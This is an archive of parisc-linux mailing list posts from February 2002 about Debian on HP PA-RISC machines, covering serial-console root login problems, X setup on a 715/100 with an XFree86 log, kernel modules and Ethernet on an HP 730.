          id <20020213233129.MUAK14903.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 14 Feb 2002 00:31:29 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14046

Hello PA-RISC hackers !

Since the last update a few days ago (apt-get dist-upgrade),
I cannot login as ROOT on the console (/dev/ttyS0), although
`/etc/securetty' includes `ttyS0'.

Login with a non-root user is ok, and a `su' with root password
also succeeds. Only the initial login as root fails !

My `/etc/securetty':
# /etc/securetty: list of terminals on which root is allowed to login.
# See securetty(5) and login(1).
console
# Standard consoles
tty1
tty2
tty3
tty4
tty5
tty6
tty7
tty8
tty9
tty10
tty11
tty12
ttyS0
ttyB0
# Same as above, but these only occur with devfs devices
vc/1
vc/2
vc/3
vc/4
vc/5
vc/6
vc/7
vc/8
vc/9
vc/10
vc/11
vc/12

My `/etc/inittab':
# Boot-time system configuration/initialization script.
# This is run first except when booting in emergency (-b) mode.
si::sysinit:/etc/init.d/rcS

# What to do in single-user mode.
~~:S:wait:/sbin/sulogin

# /etc/init.d executes the S and K scripts upon change
# of runlevel.
#
# Runlevel 0 is halt.
# Runlevel 1 is single-user.
# Runlevels 2-5 are multi-user.
# Runlevel 6 is reboot.

l0:0:wait:/etc/init.d/rc 0
l1:1:wait:/etc/init.d/rc 1
l2:2:wait:/etc/init.d/rc 2
l3:3:wait:/etc/init.d/rc 3
l4:4:wait:/etc/init.d/rc 4
l5:5:wait:/etc/init.d/rc 5
l6:6:wait:/etc/init.d/rc 6
# Normally not reached, but fallthrough in case of emergency.
z6:6:respawn:/sbin/sulogin

# What to do when CTRL-ALT-DEL is pressed.
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now

# Action on special keypress (ALT-UpArrow).
kb::kbrequest:/bin/echo "Keyboard Request--edit /etc/inittab to let this
work."

# What to do when the power fails/returns.
pf::powerwait:/etc/init.d/powerfail start
pn::powerfailnow:/etc/init.d/powerfail now
po::powerokwait:/etc/init.d/powerfail stop

# /sbin/getty invocations for the runlevels.
#
# The "id" field MUST be the same as the last
# characters of the device (after "tty").
#
# Format:
#  <id>:<runlevels>:<action>:<process>
1:2345:respawn:/sbin/getty 38400 tty1
#2:23:respawn:/sbin/getty 38400 tty2
#3:23:respawn:/sbin/getty 38400 tty3
#4:23:respawn:/sbin/getty 38400 tty4
#5:23:respawn:/sbin/getty 38400 tty5
#6:23:respawn:/sbin/getty 38400 tty6

# Example how to put a getty on a serial line (for a terminal)
#
T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100
#X0:23:respawn:/sbin/getty -L ttyB0 9600 vt100
#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100

# Example how to put a getty on a modem line.
#
#T3:23:respawn:/sbin/mgetty -x0 -s 57600 ttyS3

I hope anybody knows already the problem !

Bye
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs.o module
Date: Wed, 13 Feb 2002 17:19:23 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20020214011923.GC17432@tausq.org>
References: <001501c1b4d2$a9577ee0$02c1a8c0@james.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621066 3056 80.91.229.3 (22 Nov 2014 01:51:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 18:19:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EBEA4845
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 18:19:40 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id znqmlaaa for parisc-linux@lists.parisc-linux.org; Wed, 13 Feb 2002 18:19:20 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16bAYV-00058K-00; Wed, 13 Feb 2002 17:19:23 -0800
Content-Disposition: inline
In-Reply-To: <001501c1b4d2$a9577ee0$02c1a8c0@james.co.uk>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14047

> has anybody tried compiling this module ?

yes, there are details in the mailing list archives. it was definitely
working at one point, but i haven't tried recently myself.

> it would save me a lot of time if somebody has it already compiled - I could
> just 'insmod' it.....

drivers are specific for a kernel configuration, so in general you
cannot just insmod a driver built for a different config.

have you tried compiling it yourself?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with the current HP PA setup of debian
Date: Thu, 14 Feb 2002 08:28:16 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <200202140828.16464.deller@gmx.de>
References: <3C6AF74F.DDCD362C@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621066 3072 80.91.229.3 (22 Nov 2014 01:51:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:06 +0000 (UTC)
To: Christoph Plattner <christoph.plattner@gmx.at>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 00:32:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 91B204846
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Feb 2002 00:32:26 -0700 (MST)
Original-Received: (qmail 12699 invoked by uid 0); 14 Feb 2002 07:32:24 -0000
Original-Received: from pd904074e.dip.t-dialin.net (HELO P100) (217.4.7.78)
  by mail.gmx.net (mp011-rz3) with SMTP; 14 Feb 2002 07:32:24 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <3C6AF74F.DDCD362C@gmx.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14048

On Thursday 14 February 2002 00:31, Christoph Plattner wrote:
> Hello PA-RISC hackers !
>
> Since the last update a few days ago (apt-get dist-upgrade),
> I cannot login as ROOT on the console (/dev/ttyS0), although
> `/etc/securetty' includes `ttyS0'.

Hi Christoph,

I had a lot of problems with the latest debian libc6 packages,
downgrading them again to 2.2.4-7 cured all my problems.
All 2.2.5-X (X=1..3) libc6 packages seem broken.
Maybe this also helps in your case ?

Regards,
Helge



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: xf86 Config Files for 715/100
Date: Thu, 14 Feb 2002 12:07:21 -0800
Lines: 215
Approved: news@gmane.org
Message-ID: <2F1E6AB90ECAD311943700A0C9E3B15407DAD6C5@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621067 3093 80.91.229.3 (22 Nov 2014 01:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Cataldo_Urso@hotmail.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 13:07:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D6C44849
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Feb 2002 13:07:38 -0700 (MST)
Original-Received: from xparelay1.corp.hp.com (xparelay1.corp.hp.com [15.58.136.173])
	by palrel11.hp.com (Postfix) with ESMTP
	id 2736C600450; Thu, 14 Feb 2002 12:07:30 -0800 (PST)
Original-Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191])
	by xparelay1.corp.hp.com (Postfix) with ESMTP
	id 1B625E002CC; Thu, 14 Feb 2002 12:07:30 -0800 (PST)
Original-Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <17ZA0ZWF>; Thu, 14 Feb 2002 12:07:29 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14049

Cataldo,

The key to my success was not the config files, but a new kernel and the
right bit depth.  Here is the cookbook I published yesterday:

Hello,
I wanted to document how easy it was to get X and gnome running on a
715/100.  I experienced much pain until  I found the easy process. Here is
what worked for me:
1) Create boot CD from 0.9.3.iso
2) Install from boot CD
3) Choose to install packages over http from debian.org
4) Re-boot and make sure everything is working (X won't work)
5) dselect the latest kernel
6) Re-boot with the latest kernel (Mine is vmlinux-2.4.16-32).
7) Make sure you are using a serial mouse
7) Run dpkg-reconfigure xserver-xfree86
8) Use all the defaults except for 24 for default bit depth and Auto for
mouse type
This is what worked for me.  X wouldn't work until I dselected to a new
kernel and the mouse wouldn't work  until I attached a serial mouse and
chose Auto.
Sincerely,
Dennis Faucher
dennis_faucher@hp_dot_com

Sincerely,
Dennis Faucher
Technical Consultant
Hewlett-Packard Company
https://www.ecardfile.com/id/dennis_faucher (Contact)
http://e-services.hp.com (E-Services) 

-----Original Message-----
From: Cataldo_Urso@hotmail.com [mailto:Cataldo_Urso@hotmail.com]
Sent: Thursday, February 14, 2002 2:49 PM
To: FAUCHER,DENNIS (HP-USA,ex1)
Subject: Re: xf86 Config Files for 715/100


Hello,

I just installed linux (0.9.3) on my 712/60 and I appreciate if you can help
me by sending me the config file you received.

Best regards,
Cataldo URSO.

----- Original Message -----
From: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Newsgroups: linux.debian.ports.hppa
Sent: Wednesday, January 23, 2002 5:20 PM
Subject: xf86 Config Files for 715/100


> Hello,
>
> Does anyone have X working on an HP 715/100 with an A1097C monitor and
0.9.3
> Linux?  Joel Soete was nice enough to send me his config files from his
712
> and B180, but they have not solved the problem.  Thank you for any input.
I
> have included my XFree86.0.log for fun.
>
> Sincerely,
> Dennis Faucher
> Technical Consultant
> Hewlett-Packard Company
> https://www.ecardfile.com/id/dennis_faucher (Contact)
> http://e-services.hp.com (E-Services)
>
>
> This is a pre-release version of XFree86, and is not supported in any
> way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
> to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
> please check the latest version in the XFree86 CVS repository
> (http://www.XFree86.Org/cvs)
>
> XFree86 Version 4.1.0.1 / X Window System
> (protocol Version 11, revision 0, vendor release 6510)
> Release Date: 21 December 2001
> If the server is older than 6-12 months, or if your card is
> newer than the above date, look for a newer version before
> reporting problems.  (See http://www.XFree86.Org/FAQ)
> Build Operating System: Linux 2.4.16-64 parisc64 [ELF]
> (==) Log file: "/var/log/XFree86.0.log", Time: Fri Jan 18 19:58:34 2002
> (==) Using config file: "/etc/X11/XF86Config-4"
> Markers: (--) probed, (**) from config file, (==) default setting,
>          (++) from command line, (!!) notice, (II) informational,
>          (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
> (==) ServerLayout "Simple Layout"
> (**) |-->Screen "Screen 1" (0)
> (**) |   |-->Monitor "HP A1097C"
> (**) |   |-->Device "HP Framebuffer"
> (**) |-->Input Device "Mouse1"
> (**) |-->Input Device "Keyboard1"
> (**) Option "AutoRepeat" "500 30"
> (**) Option "XkbRules" "xfree86"
> (**) XKB: rules: "xfree86"
> (**) Option "XkbModel" "pc101"
> (**) XKB: model: "pc101"
> (**) Option "XkbLayout" "us"
> (**) XKB: layout: "us"
> (==) Keyboard: CustomKeycode disabled
> (**) FontPath set to
>
"/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/:unscaled,/us
>
r/X11R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X11/fonts/Type1/,/usr/
>
X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X
> 11/fonts/100dpi/"
> (**) RgbPath set to "/usr/X11R6/lib/X11/rgb"
> (--) using VT number 7
>
> (WW) Cannot open APM
> (EE) No OS PCI support available
> (II) Addressable bus resource ranges are
> [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B]
> [1] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B]
> (II) OS-reported resource ranges:
> [0] -1 0 0xffffffff - 0xffffffff (0x1) MX[B]
> [1] -1 0 0x00000000 - 0x00000000 (0x1) MX[B]
> [2] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
> [3] -1 0 0x00000000 - 0x00000000 (0x1) IX[B]
> (II) OS-reported resource ranges after removing overlaps with PCI:
> [0] -1 0 0xffffffff - 0xffffffff (0x1) MX[B]
> [1] -1 0 0x00000000 - 0x00000000 (0x1) MX[B]
> [2] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
> [3] -1 0 0x00000000 - 0x00000000 (0x1) IX[B]
> (II) All system resource ranges:
> [0] -1 0 0xffffffff - 0xffffffff (0x1) MX[B]
> [1] -1 0 0x00000000 - 0x00000000 (0x1) MX[B]
> [2] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
> [3] -1 0 0x00000000 - 0x00000000 (0x1) IX[B]
> (II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
> mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
> (II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
> pm2, pm, 300sx, 500tx, mx, delta
> S3VIdentify
> (II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge,
86C325,
> virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
> 86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
> trio 3d/2x, 86C362, 86C368
> (II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
> SIS300, SIS630, SIS540
> (II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
> Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
> Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
> TwisterK
> (II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320,
cyber9388,
> cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
> tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
> providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
> cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
> cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
> (II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
> ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
> ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
> (II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
> 3dfx Voodoo3, 3dfx Voodoo5
> (II) FBDev: driver for framebuffer: fbdev, afb
> (II) ATI: ATI driver (version 6.3.6) for chipsets: ati
> (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
> ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
> ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
> ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
> ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
> ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
> ATI Rage 128 Mobility ML (AGP)
> (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
> ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
> ATI Radeon VE (AGP)
> (II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
> imstt3d
> (II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
> (II) v4l driver for Video4Linux
> S3VProbe begin
> (II) FBDev(0): using default device
> (II) Running in FRAMEBUFFER Mode
> (**) FBDev(0): Depth 8, (--) framebuffer bpp 8
> (==) FBDev(0): Default visual is PseudoColor
> (==) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
> (II) FBDev(0): Hardware:  (vidmem: 8192k)
> (II) FBDev(0): Checking Modes against framebuffer device...
> (II) FBDev(0): mode "1280x1024" ok
> (II) FBDev(0): Checking Modes against monitor...
> (--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
> (**) FBDev(0): Built-in mode "current": 28000.0 MHz, 21875.0 kHz, 21362.3
Hz
> (II) FBDev(0): Modeline "current"  28000.00  1280 1280 1280 1280  1024
1024
> 1024 1024 -hsync -vsync -csync
> (==) FBDev(0): DPI set to (75, 75)
> (**) FBDev(0): Using "Shadow Framebuffer"
>
> Fatal server error:
> AddScreen/ScreenInit failed for driver 0
>
>
> When reporting a problem related to a server crash, please send
> the full server output, not just the last messages.
> This can be found in the log file "/var/log/XFree86.0.log".
> Please report problems to submit@bugs.debian.org.
>
>
> --
> To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
listmaster@lists.debian.org



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ethernet on HP Apollo 730
Date: Fri, 15 Feb 2002 10:13:27 +1100
Lines: 26
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCC25@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621067 3100 80.91.229.3 (22 Nov 2014 01:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 16:13:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F89F484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Feb 2002 16:13:52 -0700 (MST)
Original-Received: from wing-ep.tip.csiro.au (wing-ep.tip.CSIRO.AU [130.155.192.114])
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.1g) with ESMTP id KAA08194
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 10:13:40 +1100 (EST)
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2653.19)
	id <1QW80GX5>; Fri, 15 Feb 2002 10:13:29 +1100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14050

Hi,

I have two HP PA boxes both running the 0.9.3 standard iso. The first box
735/100 is excellent with no real problems (thanks for the great work).

The second box is a 730 and the 10BaseT Ethernet will not work. dmesg output
seems to indicate that it cannot find a carrier. What I need to know has
anyone else got the Ethernet working on a 730 or do I have a dead Ethernet
transceiver.
If the second is the case has anyone had any success in getting an ISA
network card working in the EISA slot if so what do I need to do to get it
working.

Once again, thanks for the great work I am not a real programmer myself, my
expertise is in the hardware side of things, as an end user I do appreciate
your efforts in giving these great HP boxes another life.


Steve Grady

BTW if anyone in Australia is interested in an HP differential EISA SCSI
card (sorry I cannot remember model number) drop me am email off list to
Steve.Grady@csiro.au. It was in the 730 and I have no use for it and it is
free to good home.



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ethernet on HP Apollo 730
Date: Fri, 15 Feb 2002 01:48:32 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020215014832.A8103@solo.franken.de>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCC25@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621067 3107 80.91.229.3 (22 Nov 2014 01:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 14 17:49:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C1CA.dip.t-dialin.net [217.81.193.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB59D484D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Feb 2002 17:49:45 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g1F0mWl08440;
	Fri, 15 Feb 2002 01:48:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <49AA3A3C863E5B4C911320AEF99E5DA3010CCC25@wing-ep.tip.csiro.au>; from Steve.Grady@csiro.au on Fri, Feb 15, 2002 at 10:13:27AM +1100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14051

On Fri, Feb 15, 2002 at 10:13:27AM +1100, Steve.Grady@csiro.au wrote:
> The second box is a 730 and the 10BaseT Ethernet will not work. dmesg output
> seems to indicate that it cannot find a carrier. What I need to know has
> anyone else got the Ethernet working on a 730 or do I have a dead Ethernet
> transceiver.

ethernet worked on my 730 out of the box.

> If the second is the case has anyone had any success in getting an ISA
> network card working in the EISA slot if so what do I need to do to get it
> working.

haven't tried it, yet.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Thu, 14 Feb 2002 21:48:36 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020215044836.9DA08484F@dsl2.external.hp.com>
References: <OF06B7B721.64C3D9E9-ONC1256B5F.0063DC45@com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621067 3113 80.91.229.3 (22 Nov 2014 01:51:07 GMT)
